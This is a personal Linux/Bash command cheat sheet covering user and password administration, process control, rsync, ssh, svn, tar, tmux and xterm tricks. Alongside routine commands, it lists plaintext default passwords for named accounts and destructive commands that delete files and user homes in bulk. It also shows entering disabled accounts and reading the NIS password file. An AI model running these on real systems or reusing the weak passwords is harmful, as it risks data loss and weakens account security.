#############################################################
# Monitor overrun processes (DES,UI)
sudo apt-get install nmon
#############################################################
## Linux Commands - nslookup (dig)
#############################################################
# Convert network address to name like DNS
nslookup 1.1.1.1
host sapbr01
# Find DNS servers
nslookup
> lserver
#############################################################
## Linux Commands - passwd, chpasswd, vipw, gpasswd
#############################################################
# Reset/Change a users password (admin)
Log unto fs
sudo passwd xbexxxx
asdf1234
asdf1234
sudo make -C /var/yp
# Change root password
sudo passwd root
# Reset password in a script with no prompt (change)
# Can only supply one user to "passwd"
echo asdf1234 | sudo passwd xbe4092 --stdin; sudo make -C /var/yp
echo -e "xbe4092:asdf1234\npotapov:asdf1234" | sudo chpasswd; sudo make -C /var/yp
# Reset password over ssh (change,admin)
ssh -qtY potapov@lnxbrfs01 'echo -e "xbe4092:asdf123\npotapov:asdf123" | sudo /usr/sbin/chpasswd; sudo make -C /var/yp'
sb fs1 'echo -e "xbe4092:asdf123\npotapov:asdf123" | sudo /usr/sbin/chpasswd; sudo make -C /var/yp'
# Reset password of many users (admin,change)
echo "xbe4092:asdf1234" | sudo chpasswd
sudo make -C /var/yp
# Edit the password file. Disable/Lock user accounts before deleting
# Change /bin/bash to /bin/false
# Asterisk in password field disables account
sudo vipw
sudo make -C /var/yp
# Check if specific user account is:
# L - Locked
# NP - No Password
# P - Password is set (OK)
sudo passwd -S SOME_USER
# Check all user accounts if:
# L - Locked
# NP - No Password
# P - Password is set (OK)
sudo passwd -Sa
# Remove user from a group (delete, passwd)
Log unto fs01
sudo gpasswd -d potapov controls
sudo make -C /var/yp
#############################################################
## Linux Commands - pidof
#############################################################
# Process ID of a program (PID)
pidof omsCommand
#############################################################
## Linux Commands - ps
#############################################################
# Kill the ui when things aren't working
ps -ef | grep ui
# See all users on the bench
ps -elf | grep ui
# Show which processes were started by the current user
ps -elf | grep $USER
# Kill unigraph process if it is running in the background
ps -elf | grep unigraph | perl -anle '`skill -KILL $F[3]`'
# Be more specific in process selection (ps) options
ps -o user,ucmd --no-heading -C ui
# Currently running process (use in a script such as getinfo.sh)
ps -elf | grep getinfo.sh | grep -v grep | grep -v $$
# Check if puppet is running on all the benches
run_on_all_benches.pl 'ps -elf | grep puppet | grep -v grep'
# Check if systemd or init is used
ps -p 1
#############################################################
## Linux Commands - rcs
#############################################################
# Unlock a file
co -u file
# RCS error: file is in use
rm -f RCS/,file_name
# RCS error: file locked by pwxxxx
rcs -U file
# RCS: check in a file initially without the prompt message
ci -t-msg tiny2_rcs.tst
#############################################################
## Linux Commands - read
#############################################################
# Read input from the keyword/user without showing the password (much easier in bash)
read -s pass; echo "got [$pass]"
read -s -p "Password:" pass; echo; echo "got [$pass]"
# Read input from the keyword/user without showing the password. Limit password length
read -s -n 5 -p "Password:" pass; echo; echo "got [$pass]"
#############################################################
## Linux Commands - reptyr
#############################################################
# Attach to a running process on the existing terminal
sudo apt-get install reptyr
#############################################################
## Linux Commands - rsnapshot
#############################################################
# Install rsnapshot on centos
yum install epel-release
yum install rsnapshot
# Check if rsnapshot configuration file is valid
rsnapshot configtest
# Show the command that would be executed
rsnapshot -t daily
rsnapshot -t weekly
#############################################################
## Linux Commands - rsync
#############################################################
# Copy/Sync entire directories
rsync -avh FROM TO
# Copy/sync a file while preserving the folder structure.
rsync -avz --relative FROM/file TO
# Show what rsync would do with actually doing it.
rsync -avh --dry-run FROM TO
rsync -avh -n FROM TO
# Copy/Sync entire directories (OnePlus Backup)
time rsync \
-ah \
--info="progress2" \
--stats \
--delete \
--delete-delay \
--delete-excluded \
--delay-updates \
--exclude=".tubemate/" \
--exclude="Android/" \
--exclude="Alarms/" \
--exclude="APK Extractor/" \
--exclude="Audiobooks/" \
--exclude="n7player/" \
--exclude="Movies/" \
--exclude="Pictures/.thumbnails/" \
--log-file="$new.log" \
"$src/" "$new/"
# Copy/Sync entire directories
# including the folder structure
rsync -a A B # Makes: B/A
rsync -a A/ B # Makes: B/file
# Delete all files using "rsync"
rsync -a --delete emptry_dir/ data_dir/
#############################################################
## Linux Commands - rm
#############################################################
# Apply a character class to remove files
rm -f *2[1-3]
# Time how long a process take
time rm -f file
# # files: 100 20,000 30,000 50,000
# Delete all files using "rm"
rm -f dir/* # real 0m0.329s 0m26.650s 0m33.476s 35m35.183
rm -fr dir # real 0m0.181s 0m31.099s 0m45.349s 57m58.145s
#############################################################
## Linux Commands - screen
#############################################################
# Clean up dead UI sessions (for Tony, Cody)
screen -wipe
#############################################################
## Linux Commands - screen
#############################################################
# Fix screen -x when it is a display issue
script /dev/null
#############################################################
## Linux Commands - sed
#############################################################
# Remove lines which contain abc
a='
abc is here
its not here
nore here
but abs is here too
'
echo "$a" | grep -v abc
echo "$a" | sed '/abc/d'
# Remove first line from a file
cat my.csv | cut -d, -f1 | sed 1d
# Find and replace using sed
echo $STACK | sed 's/call/CALL/'
echo $STACK | sed 's/call/CALL/gi'
# Modify only select lines
echo "$a" | sed '/abc/ {s/here/NOT here/}'
echo "$a" | sed '/abc/! {s/here/NOT here/}'
#############################################################
## Linux Commands - set
#############################################################
# See what running running in the background of a linux script
set -x # Enable trace
set +x # Disable trace (default)
# Comparison of set and shopt in Bash
# set -> $SHELLOPTS (Added: 2017-11-27 08:52:25 AM)
# shopt -> $BASHOPTS
# View manpage for bash builtin commands.
help set
# Check which bash set options are enabled.
echo $-
# Strict mode in bash.
set -euo pipefail
#############################################################
## Linux Commands - setxkbmap
#############################################################
# Reset xmodmap settings
setxkbmap
#############################################################
## Linux Commands - scp
#############################################################
# Copy a file over the network (using ssh)
scp file xbe4092@lnxbr35:location_to_place
# Copy a directory over the network (using ssh)
scp -r directory xbe4092@lnxbr35:location_to_place
#############################################################
## Linux Commands - shopt
#############################################################
# View various bash options that are set (Added: 2017-11-27 08:49:40 AM)
shopt
#############################################################
## Linux Commands - source
#############################################################
# Source a file
source .bashrc
. .bashrc
# Check if script is sourced
[[ $- = *i* ]] && echo "Sourced"
# Source a file from a file stream (Debian 7. at least bash 4.2)
source <(cat file | do_something)
source /dev/stdin <<<"$(cat <(cat file | do_something))"
#############################################################
## Linux Commands - sponge
#############################################################
# Read from and write to the same file without overwriting it (Linux)
cat abc | perl -ple 's/C/Z/' | sponge abc
#############################################################
## Linux Commands - ss (Sockets)
#############################################################
# View listening sockets on linux
ss -tlpn
#############################################################
## Linux Commands - ssh
#############################################################
# Pass data through ssh
cat ~/.ssh/id_rsa.pub | ssh SOME_USER@lnxbr24 'cat >> .ssh/authorized_keys'
# ssh while preserving X11
ssh -Y
# Cannot ssh. get message about error in locking .Xauthority file. no xauth data
rm -f ~/.Xauthority
# Port Forwarding (aka Tunneling)
ssh USER@localhost -p PORT -x -L local_socket:host:hostport
#
# Connect 8080 of remote to local 8081 (in browser)
ssh tim@localhost -p PORT -x -L 8081:host:8080
# Check if host is port forwarding (tunneling)
ss -o state listening | and 127.0.0.1 http
# Check if VM (remote) is port forwarding (tunneling)
ss -o state established | and 10.0.2.2
#############################################################
## Linux Commands - ssh-agent
#############################################################
# Add ssh agent
eval `ssh-agent -s`
ssh-add
# Kill agent
ssh-agent -k
#############################################################
## Linux Commands - ssh-keygen
#############################################################
# Setup new machine: key for quick access
# Use a longer key with ssh public keys
ssh-keygen -t rsa -b 4096
cd ~/.ssh/
cat id_rsa.pub >> authorized_keys
# Generate ssh key with more details
ssh-keygen -t rsa -b 4096 -C timofey.potapov@otrs.com -f id_rsa_OTRS_SAAS_$(date +%F)
# -C COMMENT
# -f Specific file to use
# -b Specific encryption bit size
# Problem: Host key differs from IP address
# Fix: Remove offending ssh key ECDSA.
ssh-keygen -R 10..181.54
# Remove offending key for a host and port name
ssh-keygen -f "$HOME/.ssh/known_hosts" -R "host:port"
ssh-keygen -f "$HOME/.ssh/known_hosts" -R "[localhost]:2222"
#############################################################
## Linux Commands - sort
#############################################################
# Sort ignoring case (Bash)
sort -f
ls -1d [Ee]* | sort -f
#############################################################
## Linux Commands - stat
#############################################################
# View the number of hard links to a file or folder
stat -c %h /run
# View the group id (GID) of a file.
stat -c %g ~/.vimrc
#############################################################
## Linux Commands - stty
#############################################################
# View the control character escapes
stty -a
# Fix terminal after doing a hard exit in a script (control-C).
reset
tset
stty echo
#############################################################
## Linux Commands - systemctl
#############################################################
# Autostart linux service at boot
sudo systemctl enable elasticsearch.service
# Reload fstab without reboot
systemctl daemon-reload
# Run a user server (not system wide)
mkdir ~/.config/systemd/user/defaults.target.wants
cd ~/.config/systemd/user
vi selenium.service
#
# Add to file:
+ [Unit]
+ Description=Selenium Server
+
+ [Service]
+ Environment=DISPLAY=:1 # should match echo $DISPLAY
+ ExecStart=/usr/bin/java -Dwebdriver.chrome.driver=/usr/bin/chromedriver -jar /usr/local/lib/selenium/current.jar -role standalone -debug
+ SuccessExitStatus=143
+
+ [Install]
+ WantedBy=default.target
#
# Reload services
systemctl --user daemon-reload
#
# Restart user service
systemctl --user start selenium.service
# Workaround for not being able to set selenium service
# environmental dynamically.
# Add to ~/.profile
#
+ # Workaround: Update DISPLAY variable in selenium.service file
+ export SELENIUM_SERVICE_FILE=/etc/systemd/system/selenium.service
+ if [ -e "$SELENIUM_SERVICE_FILE" ]; then
+ if [ $(grep "Environment=DISPLAY=$DISPLAY" $SELENIUM_SERVICE_FILE -c) -eq 0 ]; then
+ sudo perl -i -lpe 's/ ^ Environment=DISPLAY= \K .* /$ENV{DISPLAY}/x' $SELENIUM_SERVICE_FILE
+ sudo systemctl daemon-reload
+ sudo systemctl stop selenium.service
+ sudo systemctl start selenium.service
+ echo "Updated DISPLAY in $SELENIUM_SERVICE_FILE"
+ fi
+ fi
#############################################################
## Linux Commands - su
#############################################################
# Get into a disabled account
sudo su -s /bin/bash SOME_USER
#############################################################
## Linux Commands - sudo
#############################################################
# sudo while preserving the original environment
sudo -E
# Check it you have sudo access (0 mean yes, 1 means no)
sudo -v 2>&1 | wc -l
# Become and stay root
sudo su -
#############################################################
## Linux Commands - svn (general)
#############################################################
# Install new version of svn (done on lnxbr43) (subversion) (Added: 2017-10-09 09:29:26 AM)
setup_http_proxy
mkdir ~/deb
url="http://opensource.wandisco.com/debian/dists/wheezy/svn18/binary-i386"
wget -q $url/libserf1_1.3.7-1+WANdisco_i386.deb
wget -q $url/libsvn1_1.8.19-1+WANdisco_i386.deb
wget -q $url/subversion_1.8.19-1+WANdisco_i386.deb
sudo apt-get install -f
sudo dpkg -i libserf1_1.3.7-1+WANdisco_i386.deb
sudo apt-get install -f
sudo dpkg -i libsvn1_1.8.19-1+WANdisco_i386.deb
sudo apt-get install -f
sudo dpkg -i subversion_1.8.19-1+WANdisco_i386.deb
sudo apt-get install -f
sudo apt-get autoremove
# Create an empty svn repository
svnadmin create .svn
# Find out the revision number of a svn directory
svn info
svn info <URL>
# Check the status of an SVN
svn status
# Check svn status ignoring unmodified
svn status -q
# Check svn status showing outdated files
svn status -u
# Check svn status showing details on all the files
svn status -v
# View the contents of a repository
svn ls <url>
# View a log of comited changed to repository
svn log <url>
# View incremental changes to a file
svn log --diff file
# View the files that were modified per checkin
svn log -v
# View only a view entries (2) in the log
svn log -l 2
# Compare current revision to a particular revision for a file
svn diff -r 4642 oms_sim.c
# Resolve conflicts in SVN repository
svn resolve
# Check out a specific revision/version
svn co -r 4705 file:////home/sb_dev/src/omspp/trunk .
# View all the tags for an svn repository
svn ls -v ^/tags
#
# ^ means head of repo
# ^/ means tags is found right in directly below repo head
# Add new file to existing svn repository
svn add file
# Commit new files to svn repository
svn ci file -m "comment"
# Check out a particular revision/version from the repository
svn co URL_GOES_HERE@DESIRED_REVISION WHERE_TO_SAVE
# Create a new svn directory (like batch_test)
svn import Batch_Test/ <url> -m "Added Batch_Test folder for nightly batch tool"
# Checkout a file/directory from SVN
svn export <url> --username tpotapov
# Update svn in the current directory
svn update
# Update SVN to a specific version
svn update -r 147
# Revert svn repository to a previous state/version (undo) (Added: 2017-10-31 04:32:02 PM)
svn update -r 4611
#############################################################
## Linux Commands - svn (misc)
#############################################################
# Remove/delete a file from the repository
svn rm <url>/abc -m "testing"
# clean up the svn (to remove locks)
svn cleanup
# ERROR: Failed to run the WC DB work queue associated with (svn)
cd ~/omspp/trunk
# Files still in queue
sqlite3 .svn/wc.db '.explain on' 'select * from work_queue'
# Delete all files in queue
sqlite3 .svn/wc.db '.explain on' 'delete from work_queue'
# Cleanup
svn cleanup
# Setup SVN Cyient variables (debugging use)
svn_pull_url="<url>/Tests"
svn_push_url="<url>/Results"
svn_username="tpotapov"
read -s -p "password: " svn_password
SB run 1234 t1+a "svn pull=$svn_pull_url push=$svn_push_url user=$svn_username pass=$svn_password"
#############################################################
## Linux Commands - tail
#############################################################
# Retain only the most rescent 10 logs (logs in this format: 2017Y_06m_22d_12H_34M_55S) (keep,remove)
max=10
ls -1 2* | tail -n +$(($max+1)) | xargs rm -f
#############################################################
## Linux Commands - tar, zip
#############################################################
# Extract a tar file (.gz) untar a file (unzip)
tar -zxvf <file>
tar -xvzf rakudo-star-2017.01.tar.gz
# Zip a file (compress)
zip my.zip dir/*
# Unzip a git repository/file
unzip <file>
# Unzip and word document into xml
unzip word.docx
# Compress a folder into a zipped file
tar -cvvf dir.tar dir # Normal size
tar -cvvzf dir.gz dir # Zipped, fraction of size
# Decompress a folder from a zipped file
tar -xvvf dir.gz dir
# Untar a file into another directory (uncompress)
tar -xvvf ~/dir1/tar_file -C ~/dir2
#############################################################
## Linux Commands - telnet
#############################################################
# Connect to imap server.
telnet imap.gmail.com 993
#############################################################
## Linux Commands - test
#############################################################
# Process only a certain file (Added: 2017-10-26 10:04:53 AM)
if test -s acteec_out.gloascii
#############################################################
## Linux Commands - top
#############################################################
# Monitor processes by user
top -b -U potapov -n1
# Monitor activity (like top which shows high load average)
sudo iftop -i eth1
# Tools for checking/detecting slow processing
ps
top
htop
#############################################################
## Linux Commands - tmux
#############################################################
# Start new tmux
tmux
# Start new tmux withh a session name
tmux new -s SESSION_NAME
# Attach to a tmux
tmux a -t SESSION_NAME_OR_NUMBER
# List tmux sessions
tmux ls
# Kill tmux session
tmux kill-session -t SESSION_NAME_OR_NUMBER
# Kill all tmux sessions (NOT PERMITTED)
tmux ls | grep : | cut -d. -f1 | awk '{print substr($1, 0, length($1)-1)}' | xargs kill
# Control-b help tmux menu
Control-b ?
# Dettach from a tmux session
Control-b d
# Kill all tmux sessions
tmux ls | perl -aF: -ne 'qx(tmux kill-session -t $F[0])'
#############################################################
## Linux Commands - touch
#############################################################
# Changes a timestamp to be a specific date
touch $FILE -d 'Feb 11 2015'
touch $FILE -d 'Apr 11 2017 10:11'
#############################################################
## Linux Commands - tr
#############################################################
# Remove all extra spaces in a line (squash)
echo " a f " | tr -s " "
# Convert a string to lower case (change case)
echo ABd | tr [:upper:] [:lower:]
# Convert a string to upper case (change case)
echo Abd | tr [:lower:] [:upper:]
#############################################################
## Linux Commands - useradd
#############################################################
# Create a new user account for BENCH
uid=$UID
user=SOME_USER
gid=123
/usr/sbin/useradd -u $uid -g $gid -d /home/$user -m $user
passwd SOME_USER # asdf1234
# Create new user accounts
i=1001
for u in potapov SOME_USER; do
/usr/sbin/useradd -u $i -g systems -d /home3/$u -m $u -s /bin/bash
let "i++"
done
# run 'passwd $u' for each user
# Change default shell of current user (or use useradd -s /bin/bash)
chsh -s /bin/bash
#############################################################
## Linux Commands - userdel
#############################################################
# Remove all users accounts in a list
# $a contains a list of "username - home_directory"
echo "$a" | while read u h; do echo -e "\n# Deleting $u\n"; sudo userdel -r $u; done
#############################################################
## Linux Commands - usermod
#############################################################
# Change group id of a user (DES,gid)
sudo usermod -g 1000 potapov
# Change user id of a user (DES,uid)
sudo usermod -u 10285 potapov
# Add user to a new group/groups (passwd)
Log unto fs01
sudo usermod -a -G controls,system potapov
sudo make -C /var/yp
# Change the shell for a specific user
sudo usermod -s /bin/bash potapov # can specify user here
# Change full name in passwd file
sudo usermod -c "Last First" xbeXXXX
# Change home directory
Log unto fs01
cd /home3
sudo usermod -d /home4/xbe4092 xbe4092
# Move home directory
Log unto fs01
sudo usermod -d /home4/xbe4092 -m xbe4092
# Add/append group to user
# Current user would need to log out and in again
# for changes to take effect.
sudo usermod -a -G GROUP_NAME USER
#
# A way to temporarily apply new group.
sudo su $USER
#############################################################
## Linux Commands - watch
#############################################################
# Watch the UI sessions
watch -d -n1 screen -list
# Alias command to watch all the files in the current directory for changes
alias watch_files='watch ls -alF'
#############################################################
## Linux Commands - wget
#############################################################
# Pass through wget firewall/proxy (Download)
read -sp "Password: " PASSWORD
export http_proxy=http://xbe4092:$PASSWORD@pratt-proxyva.utc.com:8080/
export https_proxy=http://xbe4092:$PASSWORD@pratt-proxyva.utc.com:8080/
# If password contains special characters (like #,@ ...)
#############################################################
## Linux Commands - whereis
#############################################################
# Locate a program
which perl
whereis perl
#############################################################
## Linux Commands - who
#############################################################
# See all users on the bench
who
#############################################################
## Linux Commands - xargs
#############################################################
# Make xargs work when files may have spaces in the name (Added: 2017-10-27 08:48:11 AM)
# changes the delimiter from a space to a newline
ls abc\ file.txt | xargs -d "\n" grep tuff
#############################################################
## Linux Commands - xrandr
#############################################################
# Find out the monitor/screen size (pi)
xrandr
/opt/vc/bin/tvservice -s
#############################################################
## Linux Commands - xsel
#############################################################
# Use copy and paste on the command line.
sudo apt install xsel
alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'
#############################################################
## Linux Commands - xterm
#############################################################
# Resize window (Putty,xterm)
echo -e '\e[8;50;100t'
# Minimize the window for a few seconds, then restore it (Putty,xterm)
echo -e '\e[2t' && sleep 2 && echo -e '\e[1t'
# Move the window to the top/left corner of the display (Putty,xterm)
echo -e '\e[3;0;0t'
# Zoom the window (Putty,xterm)
echo -e '\e[9;1t'
# Bring the window to the front (without changing keyboard focus) (Putty,xterm)
echo -e '\e[5t'
Change the name of an xterm window to "string"
echo -ne "\033]2;string\007"
# Change the name of an xterm icon to "string"
echo -ne "\033]1;string\007"
# Change the name of an xterm icon and window to "string"
echo -ne "\033]0;string\007"
# Create alias to easily change the window name and icon name
# Must be run together!
set_title(){ echo -ne "\033]0;$@\007"; }
alias title='set_title'
# Get dimensions/size of a screen/xterm
xdpyinfo | grep dimensions
xrandr | grep '*'
# Get the size of an xterm window
xwininfo
# Get info about current xterm window
xdpyinfo
# Get size info of a named xterm window
xwininfo -name omsGUI_0_3
# Get info about an xterm window
xprop -id <window_id>
xprop -id 0x2400022
# Get position of the cursor
perl -e '$/ = "R";' -e 'print "\033[6n";my $x=<STDIN>;my($n, $m)=$x=~m/(\d+)\;(\d+)/;print "Current position: $m, $n\n";'
# Print how many columns and rows an xterm window uses for its screen size
tput cols
tput lines
reset
# Change fond/colors of an xterm window
RESTORE='\033[0m'
RED='\033[00;31m'
GREEN='\033[00;32m'
YELLOW='\033[00;33m'
VIOLET='\033[00;35m'
TEAL='\033[00;36m'
GREY='\033[00;37m'
# View color ansi escapes with less (like Vim)
less -R file
# Make xterm text color bold
BOLD='\033[1m'
# Make xterm text color blink
BLINK='\033[5m'
# Move mouse to a specific location on the screen/xterm window (on lnxbr42)
xdotool mousemove 764 11
# Click on a button (cannot on top bar , like the X for close)
xdotool click 1
# Get mouse location
xdotool getmouselocation
# Move mouse to a location and click at the same time
xdotool mousemove 1747 30 click 1
# print contents of X events (mouse activity/movement)
xev
# Install xdotool dependencies
sudo apt-get install libxcb-xtest0:i386 libxcb-xtest0-dbg:i386 libxcb-xtest0-dev:i386
dpkg -l | grep xtest
# Other xdotool dependenacies
sudo aptitude install
# install xdotool from repository
cd ~junk/xdo/xdotool-master
sudo make install
# Check dependencies of a debian package
dpkg -I xdotool_3.20160512.1-1_i386.deb
# Install package from source (.deb)
sudo dpkg -i xdotool_3.20160512.1-1_i386.deb
sudo apt-get install -f
# Launch an xterm window into a certain directory
xterm -e 'cd ~/dsu && /bin/bash'
xterm -fg White -bg Black -sl 10000 -fn a14 -geometry 84x51+1722-78 -title "sre2bin" -e 'cd ~/dsu && /bin/bash'
xterm -fg White -bg Black -sl 10000 -fn a14 -geometry 84x51+1722-78 -title "sre2bin" -e 'cd ~/dsu; /bin/bash'
xterm -fg White -bg Black -sl 10000 -fn a14 -geometry 84x51+1722-78 -title "sre2bin" -e 'cd ~/dsu; bash'
# Check if xterm environment is working (Added: 2017-11-02 03:56:18 PM)
xeyes
# Check what kind of terminal I am using (xterm,bench)
echo $TERM
# Wrap long lines unto next row in bash/linux
# Exclose PS1 in '\[PS1_VALUE\]'
# Function which run on each prompt.
PROMPT_COMMAND=__prompt_command
__prompt_command ()
{
local EXIT="$?";
PS1=$_PS1;
if [ $EXIT != 0 ]; then
PS1+=$RED$'\u2716'$RESTORE
else
PS1+=$GREEN$'\u279c'$RESTORE
fi;
PS1+=" "
}
#############################################################
## Linux Commands - xxd
#############################################################
# Convert a binary file to hex
xxd NVM_EDF_CHA.dat > tmp_file
# Convert a hex file to binary
xxd -r tmp_file > tmp.bin
# Open a binary file in hex with vim
vi <(xxd tmp.bin)
#############################################################
## Linux Commands - ypcat
#############################################################
# View password file on main server (yellow page cat)
ypcat passwd
# Add ypcat passwd command if missing
vi /var/yp/nicknames
# add entry: passwd passwd.byname
# Return users which are found in the yellow pages password file
cat user_deletion_list | perl -ne 'print `ypcat passwd | grep $_` ' > found_in_yp
# Remove/Delete a user account
1. Check username in Outlook (CTRL-K)
2. Check username in Yellow Pages (ypcat passwd | grep username)
3. Go to file server
sudo userdel -r username # -r does this: sudo rm -rf username
sudo make -C /var/yp
#############################################################
## Linux Commands - yppasswd
#############################################################
# Change your password
yppasswd
#############################################################
## Linux Commands - zero
#############################################################
# Clear NVM/flash memory (from start to and including the end address)
zero -p ppa -s 0xSTART_ADDRESS -e 0xEND_ADDRESS
#############################################################
## Linux Accounts
#############################################################
# Check when a users account was created (good unless file was updated or touched)
ll ~SOME_USER/.bash_logout
# Check when a users account was created (good unless home account changed)
ll -d ~SOME_USER
echo ~SOME_USER | perl -lne 'print for -M,-C,-A'
#############################################################
## Linux Hardware
#############################################################
# View how many processors are on a machine/bench
cat proc/cpuinfo
cat /proc/cpuinfo | perl -ln0777e "print ~~split qq(\n\n)"
nproc
# Find out the service tag code of a machine (Bob)
# That is the same as the serial number
# Used for compability purposes (such as when getting new drives)
/usr/sbin/dmidecode | perl -ln00e 'print if /System Information/'
# Find out easily how many cpu there are (a command)
lscpu
# Check if using intel or AMD. (linux)
lscpu | grep 'Vendor ID'
# Add module to kernel (DES,UI,insert,library)
insmod /lib/modules/2.6.11/kernel/fs/fat/fat.ko
modprobe msdos
# Find out version of debian you are running (DES)
cat /etc/debian_version
# Check processor family (DES,UI)
grep "cpu family" /proc/cpuinfo
# Cpu family of "6" means use "Pentium-Pro"
# Change boot loader to use certain cpu's (DES,UI,Mark,shielding)
cd /boot/grub
sudo vi grub.cfg
/\Vlinux /boot/vmlinuz-3.16.51+20180205+1524
/\Vlinux /boot/vmlinuz-3.16.51+20180205+1524
# Add this to
isolcpus=0,1,2,3,4,5,6,7,8,9
cat /proc/cmdline
# Check timer frequency (DES,UI,CONFIG_HZ_1000)
cat /usr/src/linux.config | OR CONFIG_COMPAT_BRK CONFIG_HZ_PERIODIC CONFIG_X86_GENERIC CONFIG_SCHED_SMT CONFIG_HZ_1000
# find biggest binary number on the machine
perl -lE '@a=split //, sprintf "%b", ~~-1; print @a'
perl -lE '@a=split //, sprintf "%b", ~~-1; print scalar @a'
# Size of an integer on this system
perl -le 'print length pack "i"'
#############################################################
## Linux File Properties - General
#############################################################
# View more info about a file (Bash)
# Number of links, inode
stat $FILE
# Check inode of a file.
ls -i FILE
# Find all hardlinks to a file.
find . -samefile FILE
find . -inum INODE
# Print all the symbolic links in a directory and show where they link to (for Melvin)
ls | perl -lne '$r=readlink; print "$_ -> $r" if -l'
# Check if a file is opened (Added: 2017-11-20 02:48:53 PM)
lsof | grep my_file
# Check if vi has open (Added: 2017-11-20 02:49:11 PM)
lsof -c vi
# Check/Detect a symbolic link
[ -L "link_file" ] && echo "A"
#############################################################
## Linux File Properties - Sticky Bit
#############################################################
# Show if sticky bit is set on temp directory
[ -k /tmp ] && echo t
# Set sticky bit
chmod +t /tmp
# Remove sticky bit
chmod -t /tmp
#############################################################
## Linux Firewall
#############################################################
# Add port to firewall
firewall-cmd --add-port=8081/tcp --permanent
firewall-cmd --reload
# Problem:
# Created a docker container and published it to a certain port.
# Port returns nothing in a web browser
# Solution:
# The machine has a firewall.
# I had to do as root:
firewall-cmd -add-port=8089/tcp --permanent
# View firewall rules.
iptables -L
#############################################################
## Linux Logging
#############################################################
# View the error log for puppet
cat /var/log/syslog
#############################################################
## Linux Mounting
#############################################################
# Check paths to file servers
mount
# Fix Stale NFS on a file server. home4 down. cannot access
sudo umount -lf /net/home4
# should automount in a few secs
/etc/init.d/autofs restart # Otherwise, restart manually
/etc/init.d/nfs-common restart # Do both
# Change path to file server.
sudo vi /etc/auto.pw # edit OLD to NEW
sudo service autofs reload # reload auto mounting (only on higher benches)
sudo /etc/init.d/autofs restart
sudo /etc/init.d/autofs reload
# Get copy of latest auto loader server file
sudo \cp /home3/SOME_USER/auto.pw /etc/auto.pw
sudo /etc/init.d/autofs reload
# Setup puppet to change path to file server
sudo vi /etc/puppet/modules/autofs/files/auto.pw
sudo /etc/init.d/autofs reload
#############################################################
## Linux Software
#############################################################
# Which OS version are we using (DES,Ubuntu 22.04)
lsb_release -a
# Find out if using 32 or 64 bit linux system
uname -m # 32 is i686 or i386, 64 is x86_64
# Find out the release name (UI,bench,DES)
lsb_release -a
# Show which debian version name machine is (such as wheezy) (Added: 2017-10-05 11:26:48 AM)
lsb_release -cs
# Get name of our OS:
cat /etc/os-release | \grep '^ID='
ID="centos"
#############################################################
# Linux Startup
#############################################################
# Prevent a program from starting on Ubuntu during boot.
# Click on “Startup Application” and launch Startup Program Preference.
#############################################################
## Linux Swap Memory
#############################################################
# Create swap memory file
#
mkdir /media/fasthdd
dd if=/dev/zero of=/media/fasthdd/swapfile.img bs=512 count=1M
#
# Turn that swap file into a filesystem !?
mkswap /media/fasthdd/swapfile.img
chmod 600 /media/fasthdd/swapfile.img
#
# Add this line to /etc/fstab to be able to use the swap at startup
/media/fasthdd/swapfile.img swap swap sw 0 0
#
# Activate the swap file
swapon /media/fasthdd/swapfile.img
#
# Deactivate the swap file
swapoff /media/fasthdd/swapfile.img
# View swap memory
cat /proc/swaps
top
#############################################################
## Ansible
#############################################################
# Install ansible prerequisites (on lnxbr42)
sudo apt-get install vagrant virtualbox
# Install ansible
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 123456
sudo apt-get update
sudo apt-get install ansible
#############################################################
## Bash - General
#############################################################
# See max expansion of *
getconf ARG_MAX # 2097152
# Run a bash command without using a file
bash -c 'echo abc'
# Link without having to go the that folder location
bash -c 'cd; cd sb_stats; rm -f latest; ln -s my latest'
#
latest_file=nytprof/1/my.out
latest_link=nytprof/latest
ln -r -s "$latest_file" "$latest_link"
# Brace expansion in bash.
# (will create multiple files).
touch file-{1..10}.txt
#############################################################
## Bash - Arrays
#############################################################
# Making an array in bash ($* $@)
a=(one two "three four")
# Subtle differences in using an array in bash ($* $@)
print_args ${a[*]}
[one]
[two]
[three]
[four]
# Subtle differences in using an array in bash ($* $@)
print_args ${a[@]}
[one]
[two]
[three]
[four]
# Subtle differences in using an array in bash ($* $@)
print_args "${a[*]}"
[one two three four]
# Subtle differences in using an array in bash ($* $@)
print_args "${a[@]}"
[one]
[two]
[three four]
# Loop through array ($* $@)
for n in ${a[*]}; do echo $n; done
one
two
three
four
# Loop through array ($* $@)
for n in ${a[@]}; do echo $n; done
one
two
three
four
# Loop through array ($* $@)
for n in "${a[*]}"; do echo $n; done
one two three four
# Loop through array ($* $@)
for n in "${a[@]}"; do echo "$n"; done
one
two
three four
# Copy one array in bash to another array
b=("${a[@]}")
# Get size of an array (bash,var)
size=${#array[@]}
# Delete first or last element from an array (bash,shift,var)
unset array[0]
unset array[-1]
# Loop through array input ($* $@)
for n in "$@"; do echo "[$n]"; done
# Add to an associative array/hash in bash
h[a b c]="abc val"
h[d e f]="def val"
h[x y z]="xyz val"
# Print an associative array/hash in bash
echo ${h[@]}
echo ${h[*]}
# Check if associative array/hash in bash is set.
if [[ -z ${h[abc]} ]]; then
echo yup
fi
# Bash var sublty (bug 1). Unset array is missing instead of empty
a=(one two "three four" "five")
print_args "${a[@]}"
print_args "${a[@]}" 5
unset b
print_args "${b[@]}" 5
print_args "${b}" 5
# Bash provide default if undef or empty.
unset v1
v2=""
v3="data"
echo "A${v1:- }B"
echo "A${v2:- }B"
echo "A${v3:- }B"
# Trick/hack to prevent work sptting when assigning the output
# of a bash function to an array.
unset v; IFS=$'\n' read -r -d '' -a v < <(_build_AND_regex); declare -p v
#
# IFS=$'\n': This sets the Internal Field Separator (IFS) to newline (\n).
This ensures that spaces in the output of _my_function won't cause
word splitting.
# read -r -d '' -a v: This command reads input into the array variable v.
# -r: Prevents backslash escapes from being interpreted.
# -d '': Delimiter option set to an empty string. This ensures that
read reads until it encounters a null byte (this effectively
reads the whole output as a single line).
# -a v: Assigns the input to the array variable v.
# < <(_my_function): This redirects the output of _my_function to the
read command.
#############################################################
## Bash - Ascii Art
#############################################################
# Ascii Art
figlet "svn update"
# Nice format for representing binary numbers (art,ascii)
figlet "0000011111" -f digital
# Show all available figlest fonts (ascii art)
figlist | perl -lne '$a=/\bfonts.*:$/ ... /.*:/; print if $a > 1 and $a !~ /E/'
# There are the nicer fonts
banner big lean slant smslant standard
# favorite
slant
figlet "svn update" -f slant
# Center the ascii art (justify)
figlet "svn update" -f slant -c
# Right justify the ascii art and set a width of 60
figlet "svn update" -f slant -r -w 60
#############################################################
## Bash - Autocomplete
#############################################################
